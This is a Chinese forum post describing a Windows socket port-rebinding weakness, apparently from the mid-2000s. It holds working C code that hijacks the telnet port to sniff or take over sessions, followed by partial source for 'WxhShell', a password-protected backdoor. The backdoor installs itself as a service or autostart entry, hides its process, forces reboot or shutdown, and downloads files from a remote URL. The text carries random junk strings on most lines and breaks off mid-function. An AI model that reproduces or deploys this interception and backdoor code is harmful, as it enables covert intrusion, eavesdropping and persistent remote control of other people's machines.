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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ppo0DC\>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jddhX]>I  
k;B[wEW@  
  saddr.sin_family = AF_INET; ]$u C~b   
+ ZK U2N*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jOU99X\0  
Pr:\zI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @eM$S5&n$  
zO2=o5nF.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %JHv2[r^P  
@j!(at4B  
  这意味着什么?意味着可以进行如下的攻击: 4fIjVx  
>8ryA$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'QQq0.  
xG;;ykh.]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P!"{-m'  
Q*Y-@lZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :c|Om{;  
GM8Q#vc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h w ^ V  
U9\\8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ohbU~R3{U  
EDz;6Z*4N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -u(,*9]cJ*  
Lk!m1J5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \FUMfo^  
6J\ 2 =c`  
  #include }L(ZLt8Q  
  #include \WBO(,]V  
  #include Y=4 7se=h"  
  #include    Do77V5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :tbgX;tCs5  
  int main() 5S8>y7knQ  
  {  H~TuQ  
  WORD wVersionRequested; L2p?] :-  
  DWORD ret; 064k;|>D  
  WSADATA wsaData; oNIYO*[  
  BOOL val; < =~=IZ)  
  SOCKADDR_IN saddr; 2WDe 34   
  SOCKADDR_IN scaddr; zrqI^i"c  
  int err; S]ayH$w\Q  
  SOCKET s; N,Z*d  
  SOCKET sc; =tbfBK+  
  int caddsize; >|c?ZqW  
  HANDLE mt; :._Igjj$=  
  DWORD tid;   I-/>M/66  
  wVersionRequested = MAKEWORD( 2, 2 ); 4Z>gK(  
  err = WSAStartup( wVersionRequested, &wsaData ); Gh/nNwyu<  
  if ( err != 0 ) { Q=8YAiCu  
  printf("error!WSAStartup failed!\n"); bf@g*~h@  
  return -1; 78{9@\e"0  
  } 4BUG\~eI3  
  saddr.sin_family = AF_INET; ?Wz2J3A.2t  
   2GORGS%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (c)=Do=  
8HFCmY#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?_FL 'G  
  saddr.sin_port = htons(23); V'e%%&g~N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q 8Hl7__^  
  { PDPK|FU  
  printf("error!socket failed!\n"); P))BS  
  return -1; p5$}h,7  
  } QRvyaV  
  val = TRUE; 6`7tTn?n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #2s}s<Sc;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZM})l9_o"  
  { \c<;!vkZ04  
  printf("error!setsockopt failed!\n"); rH!sImz,  
  return -1; _]33Ht9  
  } ~Ni  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z]r'8Jc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v@|<.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~h_ _Y>  
u.|%@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \wD/TLS}  
  { CV\^gTPmx  
  ret=GetLastError(); EYn?YiVFU  
  printf("error!bind failed!\n"); w$/lq~zU  
  return -1; h$kz3r;b,"  
  } r&m49N,d  
  listen(s,2); I]` RvT  
  while(1) |YsR;=6wT  
  { :P}3cl_  
  caddsize = sizeof(scaddr); :Rb\Ca  
  //接受连接请求 j &,Gv@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {N>ju  
  if(sc!=INVALID_SOCKET) ` @  YV  
  { sBB[u'h!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?tY+P`S  
  if(mt==NULL)  u&#>)h  
  { ']TWWwj$  
  printf("Thread Creat Failed!\n"); P4q5#r  
  break; u+Ix''Fn#%  
  } dkz% Y]  
  } !DzeJWM|  
  CloseHandle(mt); #<< el;n  
  } L&DjNu`!9  
  closesocket(s); {iX#  
  WSACleanup(); iq*im$9 J  
  return 0; F$)l8}  
  }   2PYnzAsl  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;O% H]oN  
  { \KnRQtlI  
  SOCKET ss = (SOCKET)lpParam; TdgK.g 4  
  SOCKET sc; *0xL(  
  unsigned char buf[4096]; Vt(Wy  
  SOCKADDR_IN saddr; q@~g.AMCB  
  long num; 'KA$^  
  DWORD val; 4?1Qe\A^  
  DWORD ret; '";#v.!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?).;cG:<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?)|}gr  
  saddr.sin_family = AF_INET; <4LJ #Fx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^T!Zz"/:  
  saddr.sin_port = htons(23); ,_u7@Ix  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  I8?  
  { Q__CW5&'u  
  printf("error!socket failed!\n"); {ogBoDS  
  return -1; gMI%!Y  
  } }yK7LooM  
  val = 100; x6`mv8~9Db  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H P.=6bJWi  
  { R>O_2`c  
  ret = GetLastError(); H[u9C:}9b  
  return -1; gZ4' w`4r  
  } sNDo@u7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fgd2jr 3T  
  { x|a&wC2,{  
  ret = GetLastError(); iT :3e%  
  return -1; Z?{\34lPj  
  } 6ieul@?*u*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p[JIH~nb  
  { AOZ C D{  
  printf("error!socket connect failed!\n"); D+3?p  
  closesocket(sc); xT"V9t[f  
  closesocket(ss); QCW4gIp  
  return -1; 9>&zOITTaL  
  } :awkhx  
  while(1) OP1` !P y  
  { ^$: w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QFx3N%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6^gp /{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4CF;>b f~  
  num = recv(ss,buf,4096,0); Ncz4LKzt  
  if(num>0) #@B"E2F  
  send(sc,buf,num,0); \:4*h  
  else if(num==0) ^[7Mp  
  break; +a!3*G@N+  
  num = recv(sc,buf,4096,0); H ni^S  
  if(num>0) ML_VD*t9  
  send(ss,buf,num,0); euB1}M  
  else if(num==0) H7X-\K 1w  
  break; $\BYN=#  
  } Rlewp8?LB  
  closesocket(ss); !:|*!  
  closesocket(sc); ?gMx  
  return 0 ; `f>!/Zm%9  
  } Q-w# !<L.  
X} k;(rb  
V O:4wC"7  
========================================================== ,,{;G'R|  
~A=zjkm  
下边附上一个代码,,WXhSHELL W<)P@_+-  
2|>\A.I|=  
========================================================== 9~Dg<wQ  
=IC.FT}  
#include "stdafx.h" KQPu9f9  
@PvO;]]%  
#include <stdio.h> o^@"eG$,  
#include <string.h> 'GJB9i+a^  
#include <windows.h> [h3xW  
#include <winsock2.h> h9Far8}  
#include <winsvc.h> "r&,#$6W6  
#include <urlmon.h> P$obID  
cX-M9Cz  
#pragma comment (lib, "Ws2_32.lib") N]+6<  
#pragma comment (lib, "urlmon.lib") 5?-HQoT)G  
"ioO_  
#define MAX_USER   100 // 最大客户端连接数 wmr?ANk  
#define BUF_SOCK   200 // sock buffer N_c44[z 1  
#define KEY_BUFF   255 // 输入 buffer M1kA-Xr  
{]Zan'{PCO  
#define REBOOT     0   // 重启 5.6tVr  
#define SHUTDOWN   1   // 关机 (!nkv^]  
yNns6  
#define DEF_PORT   5000 // 监听端口 (t-hi8"  
f)*"X[)o  
#define REG_LEN     16   // 注册表键长度 6YM X7G]  
#define SVC_LEN     80   // NT服务名长度 iqDyE*a  
efQ8jO  
// 从dll定义API |R9Lben',  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L0g+RohW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [KK |_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zgAU5cw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (GmBv  
^ j\LB23  
// wxhshell配置信息 }emUpju<C  
struct WSCFG { 7_\sx7h{3  
  int ws_port;         // 监听端口 Yj&Sb  
  char ws_passstr[REG_LEN]; // 口令 e"04jd/  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9[.HWe,  
  char ws_regname[REG_LEN]; // 注册表键名 { ptd OrN  
  char ws_svcname[REG_LEN]; // 服务名 1b9S";ct0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^+m`mcsE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LE8<JMB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *kLFs|U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /L^g. ~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [{7#IZL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  _<S!tW  
K}l3t2uk  
}; = 7y-o  
yLC[-.H  
// default Wxhshell configuration |o5eG><  
struct WSCFG wscfg={DEF_PORT, _N`.1Dl%Q  
    "xuhuanlingzhe", >-MnB  
    1, DhM=q  
    "Wxhshell", Z 8rD9 k$6  
    "Wxhshell", *I]]Ogpq=  
            "WxhShell Service", ftYJ 3/WH  
    "Wrsky Windows CmdShell Service", O*:87:I d  
    "Please Input Your Password: ", Wu][A\3D1  
  1, o+1 (N#?m9  
  "http://www.wrsky.com/wxhshell.exe", Y7t#)?  
  "Wxhshell.exe" A 6S0dX  
    }; Ugri _  
cu/"=]D  
// 消息定义模块 N )Z>]&5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W;OGdAa_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _EMI%P& s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g Q\.|'%  
char *msg_ws_ext="\n\rExit."; GeR#B;{  
char *msg_ws_end="\n\rQuit."; ?Q]&;5o  
char *msg_ws_boot="\n\rReboot..."; ;73S;IPR  
char *msg_ws_poff="\n\rShutdown..."; 2)=whnFS  
char *msg_ws_down="\n\rSave to "; eGEwXza 4  
JqzoF}WH  
char *msg_ws_err="\n\rErr!"; rRe5Q  
char *msg_ws_ok="\n\rOK!"; $nE{%?n-#  
=0cTct6\  
char ExeFile[MAX_PATH]; OR@ 67Y  
int nUser = 0; 9kD#'BxC  
HANDLE handles[MAX_USER]; 8T3,56 >  
int OsIsNt; g6Vkns4  
"|3I|#s  
SERVICE_STATUS       serviceStatus; S\:^#Yi`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [K4cxqlfk  
bg zd($)u  
// 函数声明  y<Koc>8  
int Install(void); KtQs uL%  
int Uninstall(void); IO\1nB$0nb  
int DownloadFile(char *sURL, SOCKET wsh); N'2?Zb  
int Boot(int flag); J||g(+H>  
void HideProc(void); HJl?@& l/  
int GetOsVer(void); 5sY $  
int Wxhshell(SOCKET wsl); ]KFh 1  
void TalkWithClient(void *cs); [5P-K{Ko  
int CmdShell(SOCKET sock); hY4#4A`I  
int StartFromService(void); wC{sP"D  
int StartWxhshell(LPSTR lpCmdLine); Lvf<g}?4  
Z[@ i/. I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t utk*|S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e1Db +QBV  
s$#64"F  
// 数据结构和表定义 &[d'g0pF  
SERVICE_TABLE_ENTRY DispatchTable[] = p cLKE ZK  
{ 31G:[;g  
{wscfg.ws_svcname, NTServiceMain}, +~"IF+T RH  
{NULL, NULL} Exw d,2>  
}; JO|j?%6YY  
6(E4l5 %  
// 自我安装 Z 8w\[AF{$  
int Install(void) K GgtEh|  
{ *ra)u-  
  char svExeFile[MAX_PATH]; ]t 0o%w  
  HKEY key; 5Dkb/Iagi  
  strcpy(svExeFile,ExeFile); s@L ;3WdO  
#*A&jo'E  
// 如果是win9x系统,修改注册表设为自启动  LDg9@esi  
if(!OsIsNt) { &E`Nu (e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b~^'P   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /O[6PG  
  RegCloseKey(key); 2c Xae  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VN)WBv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vsI;ooR>  
  RegCloseKey(key); R2)@Q  
  return 0; C@qWour  
    } EE'2<"M  
  } #4AU&UM+i  
} q[Ai^79  
else { aqSOC(jU  
oRbWqN`F.  
// 如果是NT以上系统,安装为系统服务 g]f<k2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 29:2Xu i  
if (schSCManager!=0) sPK]:i C  
{ 1sXCu|\q  
  SC_HANDLE schService = CreateService "==c  
  ( "W5MZ  
  schSCManager,  hE:~~ox  
  wscfg.ws_svcname, O<vBuD2  
  wscfg.ws_svcdisp, 9':Ipf&x  
  SERVICE_ALL_ACCESS, G!FdTvx$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n~lB}  
  SERVICE_AUTO_START, _h1bVd-  
  SERVICE_ERROR_NORMAL, Sj ovL@X  
  svExeFile, @JSWqi>  
  NULL, ( %7V  
  NULL, ?h`,@~6u  
  NULL, HK[%'OQ  
  NULL, _&= `vv'  
  NULL 0j$=KA  
  ); S[L@8z.Sj  
  if (schService!=0) $@VJ@JAe  
  { i7dDklj4  
  CloseServiceHandle(schService); ,.Ofv):=  
  CloseServiceHandle(schSCManager); `)O9 '568  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N~|f^#L  
  strcat(svExeFile,wscfg.ws_svcname); q;AD#A|\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OG#^d5(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lZwjrU| _  
  RegCloseKey(key); C 9%bD  
  return 0; 7Ydqg&  
    } g(P7CX+y  
  } Ps0 Cc_  
  CloseServiceHandle(schSCManager); /%m?D o  
} O[Z$~  
} 1<9d[N*  
ky !Z JR  
return 1; 5JOfJ$(n  
} l4kqz.Z-g  
,U9j7E<4  
// 自我卸载 6%EpF;T`  
int Uninstall(void) 4"PA7 e  
{ OC5oxL2HTe  
  HKEY key; A#$l;M.3R  
 '0f!o&?g  
if(!OsIsNt) { J|xXo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9@t&jznt<  
  RegDeleteValue(key,wscfg.ws_regname); 8+!G /p  
  RegCloseKey(key); UVXruH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e[k\VYj[  
  RegDeleteValue(key,wscfg.ws_regname); Fz8& Jn!  
  RegCloseKey(key); WA}'[h   
  return 0; T72Li"00  
  } wPghgjF{  
} 8k{XUn  
} bIT[\Q  
else { SMvlEj^  
T>| +cg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nILUo2e~  
if (schSCManager!=0) 6+sz4  
{ R]od/u/$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v2|zIZ  
  if (schService!=0) }!g$k $y  
  { 4-O.i\1q  
  if(DeleteService(schService)!=0) { hpOY&7QUTD  
  CloseServiceHandle(schService); G} [$M"}  
  CloseServiceHandle(schSCManager); G]l/L\{  
  return 0; iMVQt1/  
  } "=?JIQ  
  CloseServiceHandle(schService); e>Q:j_?.e  
  } P Jb /tKC  
  CloseServiceHandle(schSCManager); f:q2JgX  
} (Vey]J  
} ^N}{M$  
7<jr0)  
return 1; &}gH!5L m  
} ]mBlXE:Z  
#)D$\0ag  
// 从指定url下载文件 o)\EfPT  
int DownloadFile(char *sURL, SOCKET wsh) [Qkj}  
{ Pd:tRY+t/  
  HRESULT hr; ]I~BgE;C9  
char seps[]= "/"; 5'Mw{`  
char *token; bAY >o  
char *file; k="w EZ;Q  
char myURL[MAX_PATH]; L#vk77  
char myFILE[MAX_PATH]; bN*zx)f  
YbVZK4  
strcpy(myURL,sURL);  mznE Cy  
  token=strtok(myURL,seps); q+YK NXI  
  while(token!=NULL) <y-2ovw*  
  { yj,+7[)  
    file=token; v]drDVJ   
  token=strtok(NULL,seps); yaj1nq! *"  
  } "=f,4Zbj  
gO~>*q &  
GetCurrentDirectory(MAX_PATH,myFILE); ohXbA9&(x  
strcat(myFILE, "\\"); :)_P7k`>e/  
strcat(myFILE, file); Ft2 ZZ<As  
  send(wsh,myFILE,strlen(myFILE),0); yOjTiVQ9  
send(wsh,"...",3,0); .R+n}>+K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #$t93EI  
  if(hr==S_OK) ZCuh^  
return 0; {flxZ}  
else hEFn>  
return 1; A|L-;P NP  
nNM)rW  
} \LS s@\$ g  
A- hWg;  
// 系统电源模块 Th])jQ*  
int Boot(int flag) Y%rC\Ij/i  
{ =>C3IR/  
  HANDLE hToken; AK;G_L  
  TOKEN_PRIVILEGES tkp; Lp||C@h~  
[0NH#88ym<  
  if(OsIsNt) { vP<8 ,XG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \]/ 6>yT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !ImtnU}  
    tkp.PrivilegeCount = 1; G_p13{"IM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `H;O! ty&d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]kkH|b$[T  
if(flag==REBOOT) { 2L2)``*   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7 ( /  
  return 0; [VB\ T|$  
} 6v -2(Y  
else { `_e1LEH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $uNYus^vS  
  return 0; }WkR-5N  
} T8QRO%t  
  } :'dH)yO  
  else { o@\q6xl.  
if(flag==REBOOT) { mK7egAo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^nL_*+V`f  
  return 0; wmS:*U2sc  
} $VE=sS.  
else { == i?lbj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dJg72?"ka  
  return 0; m>?{flO  
} V@>s]]HMq#  
} `Axn  
ab5z&7Re6  
return 1; {wf e!f  
} [.iz<Yh  
oxm3R8 S  
// win9x进程隐藏模块 hz+x)M`Y  
void HideProc(void) OGO4~Up  
{ $5l=&  
T%:W6fH7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <N;HB&mr  
  if ( hKernel != NULL ) j.rJfbE|X  
  { #$>m`r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F0FF:><  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hq$?-%4  
    FreeLibrary(hKernel); Co>=<\yi  
  } 0~XZ  
SfwAMNCe  
return; V5LzUg]  
} AA,n.;zy<  
Q|o~\h<  
// 获取操作系统版本 wN!5[N"  
int GetOsVer(void) |q\:3R_0  
{ a2un[$Jq`  
  OSVERSIONINFO winfo; ]q@6&]9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d1>Nn!m  
  GetVersionEx(&winfo); jkIgEF2d*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +lqX;*a=N  
  return 1; ;/Dp  
  else :>g*!hpb  
  return 0; rt\4We,7  
} h=~ TgTv  
7fJWb)z!k  
// 客户端句柄模块 1e#}+i!a  
int Wxhshell(SOCKET wsl) $McVK>=  
{ J;g+  
  SOCKET wsh; tcf>9YsOr  
  struct sockaddr_in client; t|aBe7t7  
  DWORD myID; #4*~ 4/  
vN%SN>=L<  
  while(nUser<MAX_USER) (-(sBQa+  
{ jsG epi9  
  int nSize=sizeof(client); "V;M,/Q|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TM|ycS'  
  if(wsh==INVALID_SOCKET) return 1; u>.qhtm[  
qG%'Lt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G u-#wv5@  
if(handles[nUser]==0) %9A6c(L  
  closesocket(wsh); |^i+Srh  
else bEE'50 D  
  nUser++; i7w>Nvj]  
  } sc^TElic  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n_51-^* z  
64>o3Hb2  
  return 0; /-l7GswF  
} $;dSM<r  
PSQ5/l?\>  
// 关闭 socket k/yoRv%  
void CloseIt(SOCKET wsh) _$?SKid|o  
{ 8I'c83w  
closesocket(wsh); <O cD[5  
nUser--; jR#g>MDKB  
ExitThread(0); O#E]a<N`  
} iC`K$LY4W  
!e >EDYbY  
// 客户端请求句柄 N(W ;(7  
void TalkWithClient(void *cs) [s4lSGh  
{ w"O^CR)  
V\"x#uB  
  SOCKET wsh=(SOCKET)cs; Nj_h+=UE!  
  char pwd[SVC_LEN]; Z`23z( +  
  char cmd[KEY_BUFF]; 54w..8'  
char chr[1]; Lh6G"f(n  
int i,j; ;_GS<[A3  
^xO CT=V  
  while (nUser < MAX_USER) { @""aNKA^r>  
;k<g# She  
if(wscfg.ws_passstr) { "3A.x1uQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DDT)l+:XP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $e7dE$eH  
  //ZeroMemory(pwd,KEY_BUFF); !52]'yub  
      i=0; R;gN^Yjk:  
  while(i<SVC_LEN) { PG8|w[V1"  
I_IDrS)O  
  // 设置超时 9GuG"^08  
  fd_set FdRead; hGx)X64Mw  
  struct timeval TimeOut; lz1l1.f8  
  FD_ZERO(&FdRead); `Li3=!V[  
  FD_SET(wsh,&FdRead); G-[fz  
  TimeOut.tv_sec=8; Lmx95[#@a  
  TimeOut.tv_usec=0; _ a|zvH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  h+Dp<b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mVN^X/L(y  
i :wTPR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NZSP*#!B  
  pwd=chr[0]; lz?F ,].  
  if(chr[0]==0xd || chr[0]==0xa) { 4 e1=b,  
  pwd=0; ^9 gFW $]  
  break; *4;MO2g  
  } VQO6!ToKY  
  i++; *wcb5p  
    } o[W7'1O  
vd>X4e ^j  
  // 如果是非法用户,关闭 socket ]?p&sI4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E=.4(J7K  
} w%&lCu@v  
_Kg:jal  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mr]IxTv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ({g7{tUy^H  
\e64Us>"x  
while(1) { 00 Qn1  
p=vu<xXtD  
  ZeroMemory(cmd,KEY_BUFF); FWv-_  
)>$@cH  
      // 自动支持客户端 telnet标准   <o8j+G)K#  
  j=0; ^b=9{.5  
  while(j<KEY_BUFF) { \Jr ta  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FOxMt;|M  
  cmd[j]=chr[0]; sHx>UvN6  
  if(chr[0]==0xa || chr[0]==0xd) { pJ7M.C!  
  cmd[j]=0; ."<mL}Fi(  
  break; vkWh2z  
  } s)ymm7?  
  j++; 7{ zkqug  
    } 5_@ u Be~  
sBGYgBu!a  
  // 下载文件 Ly1V@  
  if(strstr(cmd,"http://")) { fGDR<t3yiQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sf\p>gb  
  if(DownloadFile(cmd,wsh)) 47b=>D8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/&`NlD  
  else 6\ g-KO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2`qO'V3Q  
  } Zb<IZ)i#1  
  else { |X/ QSL  
,b2YUb]U  
    switch(cmd[0]) { 7yGc@kJ?  
  e)kN%JqW  
  // 帮助 ]5X=u(}  
  case '?': { #;59THdtPk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <QoSq'g#,=  
    break; #gzY _)E  
  } [;3` Aw  
  // 安装 jdsNZV  
  case 'i': { AV\6K;~  
    if(Install()) ^sR]w]cz.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nf(Np1?;c  
    else bM[!E8dF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #?/&H;n_8S  
    break; [EUp4%Z #  
    } BFP (2j  
  // 卸载 f$vWi&(  
  case 'r': { 9~8 A>  
    if(Uninstall()) >CtT_yhx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'mYR3?m;  
    else 5}d"nx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -I-u.!  
    break; 7p'L(dq  
    } bi`{ k\3A  
  // 显示 wxhshell 所在路径 |F _ Z  
  case 'p': { \8v{9Yb  
    char svExeFile[MAX_PATH]; &VG|*&M  
    strcpy(svExeFile,"\n\r"); 0Q^ -d+!  
      strcat(svExeFile,ExeFile); %$K2$dq5  
        send(wsh,svExeFile,strlen(svExeFile),0); "L yMw){  
    break; #-b0U[,.  
    } g.![>?2$8  
  // 重启 <BoDLvW>  
  case 'b': { Y)*5M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W`HO Q  
    if(Boot(REBOOT)) $89hkUuTu^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ig9yd S-.  
    else { ]B'Ac%Rx  
    closesocket(wsh); 88\0opL-  
    ExitThread(0); jb~2f2vUa  
    } TX7B(JZD  
    break; 6%  +s`  
    } ts BPQ 8Ne  
  // 关机 "RPX_  
  case 'd': { VJ1(|v{D4[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r[>4b}4s  
    if(Boot(SHUTDOWN)) ~Q7)6%  
